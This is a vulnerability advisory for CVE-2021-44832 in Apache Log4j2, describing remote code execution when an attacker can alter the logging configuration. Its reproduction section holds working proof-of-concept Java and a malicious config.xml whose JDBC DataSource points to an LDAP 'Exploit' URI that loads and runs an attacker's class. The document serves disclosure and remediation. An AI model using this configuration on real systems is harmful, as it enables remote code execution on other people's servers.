---
title: "CX-2021-4814"
date: "2021-12-30T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4814/"
---

# CX-2021-4814

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Dec 28, 2021

CVE-2021-44832  **Published:** Dec 30, 2021

CWE-20 CWE-20 Improper Input Validation  6.6 Medium Severity DESERIALIZATION JAVA LOG4J LOG4J2

YN Yaniv Nizry  Reported by Checkmarx Zero

Details Overview

## Summary

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a Arbitrary Code Execution attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

## Product

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4).

## Impact

In case an attacker can modify the logging configuration (due to fetching remote configuration feature in log4j this opens different attack vectors, such as MITM, DNS poisoning, lateral movement after gaining access to a storage node) an Arbitrary Code Execution could be achieved.

## Steps to reproduce

Using the same LDAP server as done in the CVE-2021-44228 PoC, all we need to do is to run:

```java
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/config.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
final Logger logger = LogManager.getLogger(log4j.class);
```

And to serve the following config.xml:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>
```

### Expected result:

When initializing the logger object, a request to the config.xml will be made. In the loading process, an attempt to load the DataSource will make a request to the LDAP server that will then redirect to a malicious class. In the end, the arbitrary class will be deserialized and run.

## Remediation

Update log4j to one of the fixed versions.

## Credit

This issue was discovered and reported by Checkmarx Security Researchers [Yaniv Nizry](https://twitter.com/ynizry) and [Liad Levy](https://twitter.com/liad__levy).

## Resources

1. [Release Candidate](https://lists.apache.org/thread/kflcpnczh2y0vhfxn5fd0fnxb80l5kwm)
2. [Commit](https://github.com/apache/logging-log4j2/commit/05db5f9527254632b59aed2a1d78a32c5ab74f16)
3. [Blog Post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)

0  Medium Severity CVSS v3.1 Score

   6.6

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: High
- Privileges Required: High
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Disclosed Dec 27, 2021 Notified the Apache
2. Fixed Dec 28, 2021 Fixed version got released

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)